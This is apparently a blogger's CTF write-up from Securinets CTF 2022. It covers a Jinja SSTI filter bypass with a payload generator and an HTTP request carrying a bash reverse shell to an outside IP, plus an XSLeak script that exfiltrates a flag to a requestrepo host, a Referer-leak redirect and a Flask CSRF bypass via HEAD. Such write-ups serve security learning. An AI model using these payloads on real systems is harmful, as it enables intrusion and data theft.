adragos-logo

Dragos Albastroiu

Security engineer, hacker, CTF player with team @WreckTheLine

Securinets CTF 2022

May 18, 2022

Fun CTF, we managed to win the finals after getting 3rd place in the qualifiers. Too bad I couldn't go to Tunisia because of an exam, but I'm glad that my teammates did.

I've learned a few web tricks from this CTF that I'd like to share.

Flask Jinja SSTI WAF bypass

if re.search("\{\{|\}\}|(popen)|(os)|(subprocess)|(application)|(getitem)|(flag.txt)|\.|_|\[|\]|\"|(class)|(subclasses)|(mro)|\\\\",request.form['name']) is not None:
name= "Hacking detected"

From the Regex above we see that we're pretty limited with what we can do, no double curly brackets, no dots, no underscore, no ".

First, we can use {% %} syntax to trigger the template injection. Then, instead of . we can use |attr('attribute').

To bypass other values, we can simply use request.args.argName and pass the values via HTTP.

Writing all of that by hand can lead to human error, so it's better to automate the process:

import re

"""
{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('sleep 5')['read']() == 'chiv' %} a {% endif %}
"""


payload = "{% if (((request|ATR_A|ATR_B|ATR_C|ATR_D)(JST_E)|ATR_F)(JST_G)|ATR_I)() %} a {% endif %}"
payload = "{% if (request|ATR_A|ATR_B|attr('get')(JST_C)|attr('get')(JST_D))(JST_E)|ATR_F(JST_G)|ATR_I() %} a {% endif %}"

regex = "('[a-z_ 0-9]+')"
regex_a = "ATR_([A-Z])"
regex_b = "JST_([A-Z])"

for p in re.findall(regex_a, payload):
x = f"attr(request|attr('args')|attr('get')('{p.lower()}'))"
payload = payload.replace('ATR_'+p, x)

for p in re.findall(regex_b, payload):
x = f"request|attr('args')|attr('get')('{p.lower()}')"
payload = payload.replace('JST_'+p, x)

rez = re.search("\{\{|\}\}|(popen)|(os)|(subprocess)|(application)|(getitem)|(flag.txt)|\.|_|\[|\]|\"|(class)|(subclasses)|(mro)|\\\\",payload)

if not rez:
print(payload)

The HTTP request:

POST /?a=application&b=__globals__&c=__builtins__&d=__import__&e=os&f=popen&g=/bin/bash+-c+'bash+-i+>%26+/dev/tcp/86.122.204.150/4444+0>%261'&i=read HTTP/1.1
Host: 128.199.3.34:1234
Content-Length: 395
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://128.199.3.34:1234
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://128.199.3.34:1234/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

name={% if (request|attr(request|attr('args')|attr('get')('a'))|attr(request|attr('args')|attr('get')('b'))|attr('get')(request|attr('args')|attr('get')('c'))|attr('get')(request|attr('args')|attr('get')('d')))(request|attr('args')|attr('get')('e'))|attr(request|attr('args')|attr('get')('f'))(request|attr('args')|attr('get')('g'))|attr(request|attr('args')|attr('get')('i'))() %} a {% endif %}

Frame counting XSLeaks

Suppose we have a search endpoint that includes an iframe in its response when the search query returns at least one result, and no iframes when there's no results.

We can use window.length to read the numbers of iframes embedded in any window, thus leaking information from our search guesses.

To leak the flag we just need to host this HTML payload on our website and send it to the admin:

<body>
<iframe src="" id="theTarget" name="thewindow"></iframe>
</body>

<script>

window.idx = 0;
window.alph='_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ}';
window.flag = 'Securinets{';

function check()
{
var el = document.getElementById("theTarget");
if (thewindow.length == 1) {
window.flag += window.alph[window.idx];
fetch('https://8mgwcnnq.requestrepo.com/'+window.flag);
window.idx = 0;
} else {
window.idx += 1;
}
if (window.idx < window.alph.length)
{
var el = document.getElementById("theTarget");
el.src = "https://20.124.0.135/search?query="+window.flag+window.alph[window.idx]+":960I3DATT3D43Z8G2QG7Z76V0YXZJMRR1H2R6YTQEJ2994SF1ZOHACKG69RSKZ9M";
}
}

var el = document.getElementById("theTarget");

el.onload = check;

el.src = "https://20.124.0.135/search?query="+window.flag+window.alph[window.idx]+":960I3DATT3D43Z8G2QG7Z76V0YXZJMRR1H2R6YTQEJ2994SF1ZOHACKG69RSKZ9M";
</script>

Referer XSLeaks

Suppose we have an endpoint that returns the number of search results that match our query as a GET parameter. The endpoint doesn't return the actual content of the search results.

If we can inject arbitrary HTML, but no XSS / Object / Embed due to CSP, then we can make the page redirect to our website + leak the search parameters using the <meta> tag:

<meta name="referrer" content="unsafe-url">
<meta http-equiv="refresh" content="0;url=https://wr0j8do9.requestrepo.com/" />

Flask CSRF bypass

from flask_wtf.csrf import CSRFProtect

csrf = CSRFProtect()
csrf.init_app(app)

@app.route('/create_paste', methods=['POST','GET'])
def create():
if request.method=="GET":
if 'username' not in session:
return redirect('/login')
return render_template("create_paste.html")
else:
if 'username' not in session:
return redirect('/login')
if len(request.values.get('paste'))<200:
paste_id = create_paste(
request.values.get('paste'),
session['username']
)
return redirect('/view?id='+paste_id)
return redirect('/home')

Can you spot the vulnerability in the code above?

Flask will accept the HEAD method as well and the else doesn't test if the method is POST.

With that, we can bypass CSRFProtect :)

Twitter GitHub LinkedIn